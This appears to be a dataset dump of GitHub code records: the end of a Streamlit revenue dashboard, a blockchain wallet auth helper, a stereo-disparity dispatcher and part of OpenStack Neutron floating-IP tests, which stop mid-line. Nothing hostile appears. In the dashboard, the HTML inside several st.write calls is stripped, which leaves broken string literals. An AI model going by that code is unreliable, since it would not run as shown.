raw_data22_branch.loc[(raw_data22_branch['Month'] <= selected_type.month -1) | ((raw_data22_branch['Month'] == selected_type.month) & (raw_data22_branch['Date'] <= selected_type.day))]\ntrend_monthly_rev_YoY = (trend_monthly_rev_YoY_data.groupby(['Month'])['Rev_sum'].sum()).to_frame().reset_index()\ntrend_monthly_rev_YoY.columns = ['Month', 'Y-1']\ntrend_monthly = pd.merge(trend_monthly_rev, trend_monthly_rev_YoY, on='Month')\ntrend_monthly = trend_monthly.set_index('Month')\ntrend_monthly.index = trend_monthly.index.astype(str)\ntrend_monthly.rename(index={'1':'Jan', '2':'Feb', '3':'Mar', '4': 'Apr', '5': 'May', '6': 'Jun', '7': 'Jul', '8': 'Aug', '9': 'Sept', '10': 'Oct', '11': 'Nov', '12': 'Des'}, inplace=True)\n\ncurrent_month_data = raw_data23_branch.loc[((raw_data23_branch['Month'] == selected_type.month) & (raw_data23_branch['Date'] <= selected_type.day))]\nY_1_month_data = raw_data22_branch.loc[((raw_data22_branch['Month'] == selected_type.month) & (raw_data22_branch['Date'] <= selected_type.day))]\nif(selected_type.month == 1):\n M_1_data = raw_data22_branch.loc[((raw_data22_branch['Month'] == 12) & (raw_data22_branch['Date'] <= selected_type.day))]\nelse:\n M_1_data = raw_data23_branch.loc[((raw_data23_branch['Month'] == selected_type.month-1) & (raw_data23_branch['Date'] <= selected_type.day))]\n\ntrend_daily_rev = (current_month_data.groupby(['Date'])['Rev_sum'].sum()).to_frame().reset_index()\ntrend_daily_rev.columns = ['Date', 'Actual']\ntrend_daily_rev_M_1 = (M_1_data.groupby(['Date'])['Rev_sum'].sum()).to_frame().reset_index()\ntrend_daily_rev_Y_1 = (Y_1_month_data.groupby(['Date'])['Rev_sum'].sum()).to_frame().reset_index()\n\ntrend_daily_rev = trend_daily_rev.set_index('Date')\n# trend_daily_rev_M_1 = trend_daily_rev_M_1.set_index('Date')\n# trend_daily_rev_Y_1 = trend_daily_rev_Y_1.set_index('Date')\n\n# ---------------------------------------------------- PIE CHART SERVICE -----------------------------------------------------\nrev_service = (current_month_data.groupby(['Service'])['Rev_sum'].sum()).to_frame().reset_index()\nrev_service = rev_service.set_index('Service')\n\nrev_service = rev_service[(rev_service.index == 'Digital Banking') | (rev_service.index == 'Digital Music')| (rev_service.index == 'Games Marketplace') | (rev_service.index == 'VAS Content') | (rev_service.index == 'Video')]\nrev_service['Rev_sum'] = rev_service['Rev_sum'].apply(lambda x: \"{:.2f}\".format(x/1000000000))\n\nserviceChart = px.pie(rev_service, values='Rev_sum', names=rev_service.index, color_discrete_sequence= PIE_COLOR)\n\nserviceChart.update_layout(showlegend=False)\n\nserviceChart.update_traces(texttemplate = \"%{label}
%{value}B
(%{percent})\", textfont_size=14)\n\n# ----------------------------------------------------- PIE CHART CLUSTER ----------------------------------------------------\nrev_cluster = (current_month_data.groupby(['Cluster'])['Rev_sum'].sum()).to_frame().reset_index()\nrev_cluster = rev_cluster.set_index('Cluster')\n\nrev_cluster = rev_cluster[(rev_cluster.index == 'KOTA BEKASI') | (rev_cluster.index == 'DEPOK')| (rev_cluster.index == 'BOGOR') | (rev_cluster.index == 'SUKABUMI') | (rev_cluster.index == 'BEKASI') | (rev_cluster.index == 'KARAWANG PURWAKARTA')]\nrev_cluster['Rev_sum'] = rev_cluster['Rev_sum'].apply(lambda x: \"{:.2f}\".format(x/1000000000))\n\nclusterChart = px.pie(rev_cluster, values='Rev_sum', names=rev_cluster.index, color_discrete_sequence= PIE_COLOR)\nclusterChart.update_layout(\n showlegend=False\n)\nclusterChart.update_traces(texttemplate = \"%{label}
%{value}B
(%{percent})\", rotation=30, textfont_size=14)\n\n\n# ------------------------------------------------------------ RGB -----------------------------------------------------------\nraw_rgb_all_branch = raw_rgb_all.loc[(raw_rgb_all['Cluster'].isin(list_cluster_in_branch))]\nrgbbb = (raw_rgb_all_branch.groupby(['Date'])['Subs'].sum()).to_frame().reset_index().sort_values('Date', ascending=False)\nrgbM = rgbbb.take([0])\nrgbM_1 = rgbbb.take([1])\n\n# ------------------------------------------------------ TABLE TOP 5 M -------------------------------------------------------\ntoday_r4_data = raw_l4.loc[((raw_l4['Month'] == selected_type.month) & (raw_l4['Day'] == selected_type.day))]\n\nif(not today_r4_data.empty):\n raw_l4_branch = raw_l4.loc[(raw_l4['Cluster'].isin(list_cluster_in_branch))]\n raw_l4_2022_branch = raw_l4_2022.loc[(raw_l4_2022['Cluster'].isin(list_cluster_in_branch))]\n # ------------------------------------------------------ TABLE TOP 5 M -------------------------------------------------------\n top_5_m = pd.DataFrame()\n l4_this_month_data = raw_l4_branch.loc[((raw_l4_branch['Month'] == selected_type.month) & (raw_l4_branch['Day'] <= selected_type.day))]\n top_5 = (l4_this_month_data.groupby(['Service'])['Rev_sum'].sum()).to_frame().reset_index().sort_values('Rev_sum', ascending=False)\n top_5.columns = ['Service', 'M']\n top_5 = top_5.head(5)\n top_5_m = top_5.copy()\n\n # ----------------------------------------------------- TABLE TOP 5 M-1 ------------------------------------------------------\n if(selected_type.month == 1):\n regex_dec_month_2022 = regexFromDate2022OneMonth(selected_type.day, 12)\n l4_2022_dec = raw_l4_2022_branch[raw_l4_2022_branch.Date.str.contains(regex_dec_month_2022, regex=True, na=False)]\n l4_this_month_1_data = l4_2022_dec.loc[(l4_2022_dec['Service'].isin(top_5['Service']))]\n else:\n l4_this_month_1_data = raw_l4_branch.loc[(raw_l4_branch['Month'] == selected_type.month-1) & (raw_l4_branch['Day'] <= selected_type.day) & (raw_l4_branch['Service'].isin(top_5['Service']))]\n\n top_5_M_1 = (l4_this_month_1_data.groupby(['Service'])['Rev_sum'].sum()).to_frame().reset_index().sort_values('Rev_sum', ascending=False)\n top_5_M_1.columns = ['Service', 'M-1']\n top_5 = pd.merge(top_5, top_5_M_1, on='Service')\n\n # ----------------------------------------------------- TABLE TOP 5 MoM ------------------------------------------------------\n top_5['MoM'] = ((top_5['M'].astype('float') / top_5['M-1'].astype('float')) - 1) * 100\n\n # ----------------------------------------------------- TABLE TOP 5 YtD ------------------------------------------------------\n regex_final = regexFromDate2022(selected_type.day, selected_type.month)\n l4_2022_until_now = raw_l4_2022_branch[raw_l4_2022_branch.Date.str.contains(regex_final, regex=True, na=False)]\n top_5_2022 = l4_2022_until_now.loc[l4_2022_until_now['Service'].isin(top_5['Service'])]\n top_5_2022 = (top_5_2022.groupby(['Service'])['Rev_sum'].sum()).to_frame().reset_index().sort_values('Rev_sum', ascending=False)\n top_5_2022.columns = ['Service', '2022']\n\n l4_2023_until_now = raw_l4_branch.loc[ (raw_l4_branch['Month'] <= selected_type.month - 1) | ((raw_l4_branch['Month'] == selected_type.month) & (raw_l4_branch['Day'] <= selected_type.day))]\n top_5_2023 = l4_2023_until_now.loc[l4_2023_until_now['Service'].isin(top_5['Service'])]\n top_5_2023 = (top_5_2023.groupby(['Service'])['Rev_sum'].sum()).to_frame().reset_index().sort_values('Rev_sum', ascending=False)\n top_5_2023.columns = ['Service', '2023']\n\n top_5 = pd.merge(top_5, top_5_2022, on='Service')\n top_5 = pd.merge(top_5, top_5_2023, on='Service')\n top_5['YtD'] = ((top_5['2023'] / top_5['2022']) - 1) * 100\n\n # ----------------------------------------------------- TABLE TOP 5 YoY ------------------------------------------------------\n regex_1_month_2022 = regexFromDate2022OneMonth(selected_type.day, selected_type.month)\n l4_2022_1_month = raw_l4_2022_branch[raw_l4_2022_branch.Date.str.contains(regex_1_month_2022, regex=True, na=False)]\n top_5_2022_1_month = l4_2022_1_month.loc[l4_2022_1_month['Service'].isin(top_5['Service'])]\n top_5_2022_1_month = (top_5_2022_1_month.groupby(['Service'])['Rev_sum'].sum()).to_frame().reset_index().sort_values('Rev_sum', ascending=False)\n top_5_2022_1_month.columns = ['Service', 'month-22']\n\n top_5 = pd.merge(top_5, top_5_2022_1_month, on='Service')\n top_5['YoY'] = ((top_5['M'] / top_5['month-22']) - 1) * 100\n\n # -------------------------------------------------------- TABLE TOP 5 -------------------------------------------------------\n top_5 = top_5.set_index('Service')\n\n top_5 = top_5.drop(['2022', '2023', 'month-22'], axis=1)\n\n top_5['MoM'] = top_5['MoM'].apply(lambda x: \"{:.2f}%\".format(x)).astype('str')\n top_5['M-1'] = top_5['M-1'].apply(lambda x: \"{:.2f}\".format(x/1000000000)).astype('str')\n top_5['M'] = top_5['M'].apply(lambda x: \"{:.2f}\".format(x/1000000000)).astype('str')\n\n top_5['YtD'] = top_5['YtD'].apply(lambda x: \"{:.2f}%\".format(x)).astype('str')\n top_5['YoY'] = top_5['YoY'].apply(lambda x: \"{:.2f}%\".format(x)).astype('str')\n top_5 = top_5.style.applymap(color_negative_to_red)\n\n# ------------------------------------------------------- TABLE OUTLET -------------------------------------------------------\noutlet = raw_outlet.set_index('Cluster')\noutlet = pd.merge(outlet, outlet_data, on='Cluster')\noutlet['%'] = (outlet['Outlet'] / outlet['Outlet Register']) * 100\noutlet = outlet.drop(['Outlet Register'], axis=1)\n\noutlet = outlet.loc[outlet['Cluster'].isin(list_cluster_in_branch)]\noutlet = outlet.set_index('Cluster')\nif(selected_branch == 'EASTERN JABOTABEK'):\n outlet.loc['EASTERN JABOTABEK']= outlet.sum(numeric_only=True)\nelse:\n outlet.loc[f'BRANCH {selected_branch}']= outlet.sum(numeric_only=True)\n\noutlet['Outlet'] = outlet['Outlet'].astype('str')\noutlet['Rev_sum'] = outlet['Rev_sum'].apply(lambda x: \"{:.2f}\".format(x/1000000)).astype('str')\noutlet['%'] = outlet['%'].apply(lambda x: \"{:.2f}%\".format(x)).astype('str')\n\noutlet.columns = ['Outlet', 'Rev(M)', '%']\n\noutlet = outlet.reset_index()\n\n# def bg_colour_col (col):\n# colour = '#f8f9fb'\n# return ['background-color: %s' % colour \n# if i==(len(col)-1) # color column `Total` or row `4`\n# else ''\n# for i,x in col.iteritems()]\n\n# outlet = outlet.style.apply(bg_colour_col)\n\n\n# ---------------------------------------------------------- DESIGN ----------------------------------------------------------\ndef createUI():\n col1, col2, col3, col4 = st.columns([2,2,3,2])\n with col1:\n st.write(\"\"\"
\"\"\", unsafe_allow_html=True)\n with st.container():\n st.write(f'
REVENUE TO TARGET
', unsafe_allow_html=True)\n col1a, col1b = st.columns([4,4])\n \n with col1a:\n st.progress(int(rev_to_target_number))\n with col1b:\n st.write(f\"{numerize.numerize(rev_to_target_number)}%, {rev_to_target_gap}\")\n\n # with st.container():\n # st.write(f'
REVENUE CONTRIBUTION
', unsafe_allow_html=True)\n # rev_contribution = int(float(total_rev_number_M) / float(all_rev_eastern) * 100)\n \n # col1a, col1b = st.columns([4,3])\n # with col1a:\n # st.progress(rev_contribution)\n # with col1b:\n # st.write(f\"{rev_contribution}%\")\n \n with col2:\n col2a, col2b = st.columns(2)\n col2c, col2d = st.columns(2)\n col2e, col2f = st.columns(2)\n\n with col2a:\n st.write(f'
TOTAL REV
', unsafe_allow_html=True)\n with col2b:\n st.write(f'
DAILY REV
', unsafe_allow_html=True)\n \n with col2c:\n st.write(f'
{numerize.numerize(float(total_rev_number_M))}
', unsafe_allow_html=True) \n with col2d:\n st.write(f'
{numerize.numerize(float(daily_rev))}
', unsafe_allow_html=True)\n \n with col2f:\n st.write(f'
{daily_rev_gap}
', unsafe_allow_html=True)\n \n st.write(\"\"\"
\"\"\", unsafe_allow_html=True)\n\n\n with col3:\n col3a, col3b, col3c = st.columns(3)\n col3d, col3e, col3f = st.columns(3)\n # col3g, col3h, col3i = st.columns(3)\n col3j, col3k, col3l = st.columns(3)\n\n with col3a:\n st.write(f'
MoM
', unsafe_allow_html=True)\n\n with col3b:\n st.write(f'
YtD
', unsafe_allow_html=True)\n\n with col3c:\n st.write(f'
YoY
', unsafe_allow_html=True)\n\n with col3d:\n if(MoM_gap[0] == '-'):\n st.write(f'
{MoM}%
', unsafe_allow_html=True)\n else:\n st.write(f'
{MoM}%
', unsafe_allow_html=True)\n with col3e:\n if(YtD_gap[0] == '-'):\n st.write(f'
{YtD}%
', unsafe_allow_html=True)\n else:\n st.write(f'
{YtD}%
', unsafe_allow_html=True)\n with col3f:\n if(YoY_gap[0] == '-'):\n st.write(f'
{YoY}%
', unsafe_allow_html=True)\n else:\n st.write(f'
{YoY}%
', unsafe_allow_html=True)\n # with col3g:\n # st.write(f'
Gap
', unsafe_allow_html=True)\n # with col3h:\n # st.write(f'
Gap
', unsafe_allow_html=True)\n # with col3i:\n # st.write(f'
Gap
', unsafe_allow_html=True)\n with col3j:\n st.write(f'
{MoM_gap}
', unsafe_allow_html=True)\n with col3k:\n st.write(f'
{YtD_gap}
', unsafe_allow_html=True)\n with col3l:\n st.write(f'
{YoY_gap}
', unsafe_allow_html=True)\n st.write(\"\"\"
\"\"\", unsafe_allow_html=True)\n\n\n with col4:\n col4a, col4b = st.columns(2)\n col4c, col4d = st.columns(2)\n col4e, col4f = st.columns(2)\n\n with col4a:\n st.write(f'
RGB
', unsafe_allow_html=True)\n \n with col4b:\n st.write(f'
MoM
', unsafe_allow_html=True)\n \n with col4c:\n st.write(f'
{numerize.numerize(float(rgbM.iloc[0][\"Subs\"]))}
', unsafe_allow_html=True) \n \n with col4d:\n rgb_mtd = ((rgbM.iloc[0]['Subs']/rgbM_1.iloc[0]['Subs'])-1) * 100\n if(rgb_mtd < 0):\n st.write(f'
{numerize.numerize(rgb_mtd)}%
', unsafe_allow_html=True)\n else:\n st.write(f'
{numerize.numerize(rgb_mtd)}%
', unsafe_allow_html=True)\n \n with col4f:\n st.write(f'
{numerize.numerize(float(rgbM.iloc[0][\"Subs\"] - rgbM_1.iloc[0][\"Subs\"]))}
', unsafe_allow_html=True)\n st.write(\"\"\"
\"\"\", unsafe_allow_html=True) \n\n col6, col7 = st.columns([6,3])\n with col6:\n st.write(\"\"\"
\"\"\", unsafe_allow_html=True)\n col6a, col6b = st.columns([4,1])\n selected_daily_monthly = col6b.selectbox(\n 'Daily',\n ('Daily', 'Monthly'), label_visibility=\"hidden\")\n\n col6a.subheader(f\"Trend {selected_daily_monthly} Revenue\")\n\n if(selected_daily_monthly == 'Daily'):\n lchart = px.line(trend_daily_rev, line_shape=\"spline\", color_discrete_sequence= px.colors.qualitative.Plotly, markers=True)\n lchart.update_layout(autosize=True, legend_title=None, yaxis_title='Revenue', legend=dict(\n orientation = \"h\",\n xanchor = \"center\",\n x = 0.5,\n y = -0.2,\n entrywidth=40\n ))\n lchart.add_traces(go.Scatter(x=trend_daily_rev_M_1['Date'], y=trend_daily_rev_M_1['Rev_sum'], name='M-1', line_shape=\"spline\", mode='markers+lines'))\n lchart.add_traces(go.Scatter(x=trend_daily_rev_Y_1['Date'], y=trend_daily_rev_Y_1['Rev_sum'], name='Y-1', line_shape=\"spline\", mode='markers+lines'))\n lchart.update_xaxes(dtick=1)\n lchart.update_traces(hovertemplate='Date: %{x}'+'
Rev: %{y}')\n lchart\n else:\n lchart = px.line(trend_monthly, line_shape=\"spline\", color_discrete_sequence= px.colors.qualitative.Plotly, markers=True)\n lchart.update_layout(autosize=True, legend_title=None, yaxis_title='Revenue', legend=dict(\n orientation = \"h\",\n xanchor = \"center\",\n x = 0.5,\n y = -0.2,\n entrywidth=40\n ))\n lchart.update_traces(hovertemplate='Month: %{x}'+'
Rev: %{y}')\n lchart\n\n with col7:\n st.subheader(\"By Service\")\n st.write(\"\"\"
\"\"\", unsafe_allow_html=True)\n st.plotly_chart(serviceChart, use_container_width=True)\n\n col8, col9, col10 = st.columns([11,12,9])\n with col8:\n st.subheader(\"By Cluster\")\n st.write(\"\"\"
\"\"\", unsafe_allow_html=True)\n st.plotly_chart(clusterChart, use_container_width=True)\n\n with col9:\n st.subheader(\"Top 5 L4 Contributor\")\n st.write(\"\"\"
\"\"\", unsafe_allow_html=True)\n if(today_r4_data.empty):\n st.write(\"Data not updated until selected date\")\n else:\n st.dataframe(top_5, use_container_width=True)\n\n with col10:\n st.subheader(\"Outlet Digital Aktif & Rev\")\n st.write(\"\"\"
\"\"\", unsafe_allow_html=True)\n st.dataframe(outlet, use_container_width=True, column_order=['Cluster', 'Outlet', '%', 'Rev(M)'], hide_index=True)\n\ncreateUI()","repo_name":"adeliaaaa/dds-eastern-dashboard","sub_path":"Dashboard.py","file_name":"Dashboard.py","file_ext":"py","file_size_in_byte":30074,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"38492878962","text":"import logging\nimport sys\nimport json\n\nfrom app.config.Configuration import Configuration\nfrom app.config.constants import AUTH_FILE_PATH\nfrom ..crypto.crypto import sign_object\n\nlogger = logging.getLogger(__name__)\n\n\ndef get_node_wallet_public():\n wallet = get_wallet()\n if wallet:\n return {\n 'address': wallet['address'],\n 'public': wallet['public']\n }\n else:\n return None\n\n\ndef get_node_wallet_address():\n wallet = get_wallet()\n if wallet:\n return wallet['address']\n else:\n return Configuration.config(\"ZERO_ADDRESS\")\n\n\ndef get_wallet():\n with open(AUTH_FILE_PATH, 'r') as f:\n auth_data = json.load(f)\n wallet = auth_data\n if 'wallet' in wallet:\n return wallet['wallet']\n else:\n return wallet\n # if 'private' not in wallet:\n # raise Exception('Invalid auth file')\n return wallet\n\n\ndef get_auth():\n try:\n with open(AUTH_FILE_PATH, 'r') as f:\n auth_data = json.load(f)\n wallet = auth_data\n private_key = wallet['private']\n auth_data = {\n 'wallet_id': wallet['address'],\n 'public': wallet['public'],\n }\n auth_data['signature'] = sign_object(private_key, auth_data)\n return auth_data\n except ValueError as e: \n logger.error(e)\n auth_data = {}\n print(\n f'Could not use the wallet data. Please ensure correct format is present')\n exit()\n except Exception as e:\n logger.error(e)\n auth_data = {}\n print(f'Could not get auth data. Make auth file {AUTH_FILE_PATH} is present. Exiting.')\n print('Generate one by running installation')\n exit()\n","repo_name":"newrlfoundation/newrl","sub_path":"app/core/auth/auth.py","file_name":"auth.py","file_ext":"py","file_size_in_byte":1792,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"48"} +{"seq_id":"2530282494","text":"from .graph import disparity as disparity_graph\nfrom .ssd import disparity as disparity_ssd\n\nMETHOD_SSD='ssd'\nMETHOD_GRAPHCUT='graphcut'\n\nDISPARITY_METHODS = {\n METHOD_SSD: disparity_ssd,\n METHOD_GRAPHCUT: disparity_graph,\n}\n\ndef disparity(image_left, image_right, **kwargs):\n method = kwargs.pop('method')\n disparity_method = DISPARITY_METHODS.get(method, lambda: None)\n if disparity_method is None:\n raise Error('invalid method {}'.format(method))\n\n return disparity_method(image_left, image_right, **kwargs)\n","repo_name":"sjawhar/cv-stereo-disparity-graph-cuts","sub_path":"app/stereo/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":536,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"48"} +{"seq_id":"10099490430","text":"import time\n\nfrom neutron_lib import constants as lib_constants\nfrom neutron_lib.services.qos import constants as qos_consts\nfrom tempest.common import utils\nfrom tempest.common import waiters\nfrom tempest.lib.common.utils import data_utils\nfrom tempest.lib import decorators\nfrom tempest.lib import exceptions\nimport testscenarios\nfrom testscenarios.scenarios import multiply_scenarios\n\nfrom neutron_tempest_plugin.api import base as base_api\nfrom neutron_tempest_plugin.common import ssh\nfrom neutron_tempest_plugin.common import utils as common_utils\nfrom neutron_tempest_plugin import config\nfrom neutron_tempest_plugin.scenario import base\nfrom neutron_tempest_plugin.scenario import constants\nfrom neutron_tempest_plugin.scenario import test_qos\n\n\nCONF = config.CONF\n\n\nload_tests = testscenarios.load_tests_apply_scenarios\n\n\nclass FloatingIpTestCasesMixin(object):\n credentials = ['primary', 'admin']\n\n @classmethod\n @utils.requires_ext(extension=\"router\", service=\"network\")\n def resource_setup(cls):\n super(FloatingIpTestCasesMixin, cls).resource_setup()\n cls.network = cls.create_network()\n cls.subnet = cls.create_subnet(cls.network)\n cls.router = cls.create_router_by_client()\n cls.create_router_interface(cls.router['id'], cls.subnet['id'])\n cls.keypair = cls.create_keypair()\n\n cls.secgroup = cls.os_primary.network_client.create_security_group(\n name=data_utils.rand_name('secgroup'))['security_group']\n cls.security_groups.append(cls.secgroup)\n cls.create_loginable_secgroup_rule(secgroup_id=cls.secgroup['id'])\n cls.create_pingable_secgroup_rule(secgroup_id=cls.secgroup['id'])\n\n if cls.same_network:\n cls._dest_network = cls.network\n else:\n cls._dest_network = cls._create_dest_network()\n\n @classmethod\n def _get_external_gateway(cls):\n if CONF.network.public_network_id:\n subnets = cls.os_admin.network_client.list_subnets(\n network_id=CONF.network.public_network_id)\n\n for subnet in subnets['subnets']:\n if (subnet['gateway_ip'] and\n subnet['ip_version'] == lib_constants.IP_VERSION_4):\n return subnet['gateway_ip']\n\n @classmethod\n def _create_dest_network(cls):\n network = cls.create_network()\n subnet = cls.create_subnet(network)\n cls.create_router_interface(cls.router['id'], subnet['id'])\n return network\n\n def _create_server(self, create_floating_ip=True, network=None):\n if network is None:\n network = self.network\n port = self.create_port(network, security_groups=[self.secgroup['id']])\n if create_floating_ip:\n fip = self.create_floatingip(port=port)\n else:\n fip = None\n server = self.create_server(\n flavor_ref=CONF.compute.flavor_ref,\n image_ref=CONF.compute.image_ref,\n key_name=self.keypair['name'],\n networks=[{'port': port['id']}])['server']\n waiters.wait_for_server_status(self.os_primary.servers_client,\n server['id'],\n constants.SERVER_STATUS_ACTIVE)\n return {'port': port, 'fip': fip, 'server': server}\n\n def _test_east_west(self):\n # The proxy VM is used to control the source VM when it doesn't\n # have a floating-ip.\n if self.src_has_fip:\n proxy = None\n proxy_client = None\n else:\n proxy = self._create_server()\n proxy_client = ssh.Client(proxy['fip']['floating_ip_address'],\n CONF.validation.image_ssh_user,\n pkey=self.keypair['private_key'])\n\n # Source VM\n if self.src_has_fip:\n src_server = self._create_server()\n src_server_ip = src_server['fip']['floating_ip_address']\n else:\n src_server = self._create_server(create_floating_ip=False)\n src_server_ip = src_server['port']['fixed_ips'][0]['ip_address']\n ssh_client = ssh.Client(src_server_ip,\n CONF.validation.image_ssh_user,\n pkey=self.keypair['private_key'],\n proxy_client=proxy_client)\n\n # Destination VM\n if self.dest_has_fip:\n dest_server = self._create_server(network=self._dest_network)\n else:\n dest_server = self._create_server(create_floating_ip=False,\n network=self._dest_network)\n\n # Check connectivity\n self.check_remote_connectivity(ssh_client,\n dest_server['port']['fixed_ips'][0]['ip_address'])\n if self.dest_has_fip:\n self.check_remote_connectivity(ssh_client,\n dest_server['fip']['floating_ip_address'])\n\n\nclass FloatingIpSameNetwork(FloatingIpTestCasesMixin,\n base.BaseTempestTestCase):\n scenarios = multiply_scenarios([\n ('SRC with FIP', dict(src_has_fip=True)),\n ('SRC without FIP', dict(src_has_fip=False)),\n ], [\n ('DEST with FIP', dict(dest_has_fip=True)),\n ('DEST without FIP', dict(dest_has_fip=False)),\n ])\n\n same_network = True\n\n @common_utils.unstable_test(\"bug 1717302\")\n @decorators.idempotent_id('05c4e3b3-7319-4052-90ad-e8916436c23b')\n def test_east_west(self):\n self._test_east_west()\n\n\nclass FloatingIpSeparateNetwork(FloatingIpTestCasesMixin,\n base.BaseTempestTestCase):\n scenarios = multiply_scenarios([\n ('SRC with FIP', dict(src_has_fip=True)),\n ('SRC without FIP', dict(src_has_fip=False)),\n ], [\n ('DEST with FIP', dict(dest_has_fip=True)),\n ('DEST without FIP', dict(dest_has_fip=False)),\n ])\n\n same_network = False\n\n @common_utils.unstable_test(\"bug 1717302\")\n @decorators.idempotent_id('f18f0090-3289-4783-b956-a0f8ac511e8b')\n def test_east_west(self):\n self._test_east_west()\n\n\nclass DefaultSnatToExternal(FloatingIpTestCasesMixin,\n base.BaseTempestTestCase):\n same_network = True\n\n @decorators.idempotent_id('3d73ea1a-27c6-45a9-b0f8-04a283d9d764')\n def test_snat_external_ip(self):\n \"\"\"Check connectivity to an external IP\"\"\"\n gateway_external_ip = self._get_external_gateway()\n\n if not gateway_external_ip:\n raise self.skipTest(\"IPv4 gateway is not configured for public \"\n \"network or public_network_id is not \"\n \"configured\")\n proxy = self._create_server()\n proxy_client = ssh.Client(proxy['fip']['floating_ip_address'],\n CONF.validation.image_ssh_user,\n pkey=self.keypair['private_key'])\n src_server = self._create_server(create_floating_ip=False)\n src_server_ip = src_server['port']['fixed_ips'][0]['ip_address']\n ssh_client = ssh.Client(src_server_ip,\n CONF.validation.image_ssh_user,\n pkey=self.keypair['private_key'],\n proxy_client=proxy_client)\n self.check_remote_connectivity(ssh_client,\n gateway_external_ip)\n\n\nclass FloatingIPPortDetailsTest(FloatingIpTestCasesMixin,\n base.BaseTempestTestCase):\n same_network = True\n\n @classmethod\n @utils.requires_ext(extension=\"router\", service=\"network\")\n @utils.requires_ext(extension=\"fip-port-details\", service=\"network\")\n def resource_setup(cls):\n super(FloatingIPPortDetailsTest, cls).resource_setup()\n\n @decorators.idempotent_id('a663aeee-dd81-492b-a207-354fd6284dbe')\n def test_floatingip_port_details(self):\n \"\"\"Tests the following:\n\n 1. Create a port with floating ip in Neutron.\n 2. Create two servers in Nova.\n 3. Attach the port to the server.\n 4. Detach the port from the server.\n 5. Attach the port to the second server.\n 6. Detach the port from the second server.\n \"\"\"\n port = self.create_port(self.network)\n fip = self.create_and_associate_floatingip(port['id'])\n server1 = self._create_server(create_floating_ip=False)\n server2 = self._create_server(create_floating_ip=False)\n\n for server in [server1, server2]:\n # attach the port to the server\n self.create_interface(\n server['server']['id'], port_id=port['id'])\n waiters.wait_for_interface_status(\n self.os_primary.interfaces_client, server['server']['id'],\n port['id'], lib_constants.PORT_STATUS_ACTIVE)\n fip = self.client.show_floatingip(fip['id'])['floatingip']\n self._check_port_details(\n fip, port, status=lib_constants.PORT_STATUS_ACTIVE,\n device_id=server['server']['id'], device_owner='compute:nova')\n\n # detach the port from the server; this is a cast in the compute\n # API so we have to poll the port until the device_id is unset.\n self.delete_interface(server['server']['id'], port['id'])\n port = self._wait_for_port_detach(port['id'])\n fip = self._wait_for_fip_port_down(fip['id'])\n self._check_port_details(\n fip, port, status=lib_constants.PORT_STATUS_DOWN,\n device_id='', device_owner='')\n\n def _check_port_details(self, fip, port, status, device_id, device_owner):\n self.assertIn('port_details', fip)\n port_details = fip['port_details']\n self.assertEqual(port['name'], port_details['name'])\n self.assertEqual(port['network_id'], port_details['network_id'])\n self.assertEqual(port['mac_address'], port_details['mac_address'])\n self.assertEqual(port['admin_state_up'],\n port_details['admin_state_up'])\n self.assertEqual(status, port_details['status'])\n self.assertEqual(device_id, port_details['device_id'])\n self.assertEqual(device_owner, port_details['device_owner'])\n\n def _wait_for_port_detach(self, port_id, timeout=120, interval=10):\n \"\"\"Waits for the port's device_id to be unset.\n\n :param port_id: The id of the port being detached.\n :returns: The final port dict from the show_port response.\n \"\"\"\n port = self.client.show_port(port_id)['port']\n device_id = port['device_id']\n start = int(time.time())\n\n # NOTE(mriedem): Nova updates the port's device_id to '' rather than\n # None, but it's not contractual so handle Falsey either way.\n while device_id:\n time.sleep(interval)\n port = self.client.show_port(port_id)['port']\n device_id = port['device_id']\n\n timed_out = int(time.time()) - start >= timeout\n\n if device_id and timed_out:\n message = ('Port %s failed to detach (device_id %s) within '\n 'the required time (%s s).' %\n (port_id, device_id, timeout))\n raise exceptions.TimeoutException(message)\n\n return port\n\n def _wait_for_fip_port_down(self, fip_id, timeout=120, interval=10):\n \"\"\"Waits for the fip's attached port status to be 'DOWN'.\n\n :param fip_id: The id of the floating IP.\n :returns: The final fip dict from the show_floatingip response.\n \"\"\"\n fip = self.client.show_floatingip(fip_id)['floatingip']\n self.assertIn('port_details', fip)\n port_details = fip['port_details']\n status = port_details['status']\n start = int(time.time())\n\n while status != lib_constants.PORT_STATUS_DOWN:\n time.sleep(interval)\n fip = self.client.show_floatingip(fip_id)['floatingip']\n self.assertIn('port_details', fip)\n port_details = fip['port_details']\n status = port_details['status']\n\n timed_out = int(time.time()) - start >= timeout\n\n if status != lib_constants.PORT_STATUS_DOWN and timed_out:\n port_id = fip.get(\"port_id\")\n port = self.os_admin.network_client.show_port(port_id)['port']\n message = ('Floating IP %s attached port status failed to '\n 'transition to DOWN (current status %s) within '\n 'the required time (%s s). Port details: %s' %\n (fip_id, status, timeout, port))\n raise exceptions.TimeoutException(message)\n\n return fip\n\n\nclass FloatingIPQosTest(FloatingIpTestCasesMixin,\n test_qos.QoSTestMixin,\n base.BaseTempestTestCase):\n\n same_network = True\n\n @classmethod\n @utils.requires_ext(extension=\"router\", service=\"network\")\n @utils.requires_ext(extension=\"qos\", service=\"network\")\n @utils.requires_ext(extension=\"qos-fip\", service=\"network\")\n @base_api.require_qos_rule_type(qos_consts.RULE_TYPE_BANDWIDTH_LIMIT)\n def resource_setup(cls):\n super(FloatingIPQosTest, cls).resource_setup()\n\n @decorators.idempotent_id('5eb48aea-eaba-4c20-8a6f-7740070a0aa3')\n def test_qos(self):\n \"\"\"Test floating IP is binding to a QoS policy with\n\n ingress and egress bandwidth limit rules. And it applied correctly\n by sending a file from the instance to the test node.\n Then calculating the bandwidth every ~1 sec by the number of bits\n received / elapsed time.\n \"\"\"\n\n self._test_basic_resources()\n policy_id = self._create_qos_policy()\n ssh_client = self._create_ssh_client()\n self.os_admin.network_client.create_bandwidth_limit_rule(\n policy_id, max_kbps=constants.LIMIT_KILO_BITS_PER_SECOND,\n max_burst_kbps=constants.LIMIT_KILO_BYTES,\n direction=lib_constants.INGRESS_DIRECTION)\n self.os_admin.network_client.create_bandwidth_limit_rule(\n policy_id, max_kbps=constants.LIMIT_KILO_BITS_PER_SECOND,\n max_burst_kbps=constants.LIMIT_KILO_BYTES,\n direction=lib_constants.EGRESS_DIRECTION)\n\n rules = self.os_admin.network_client.list_bandwidth_limit_rules(\n policy_id)\n self.assertEqual(2, len(rules['bandwidth_limit_rules']))\n\n fip = 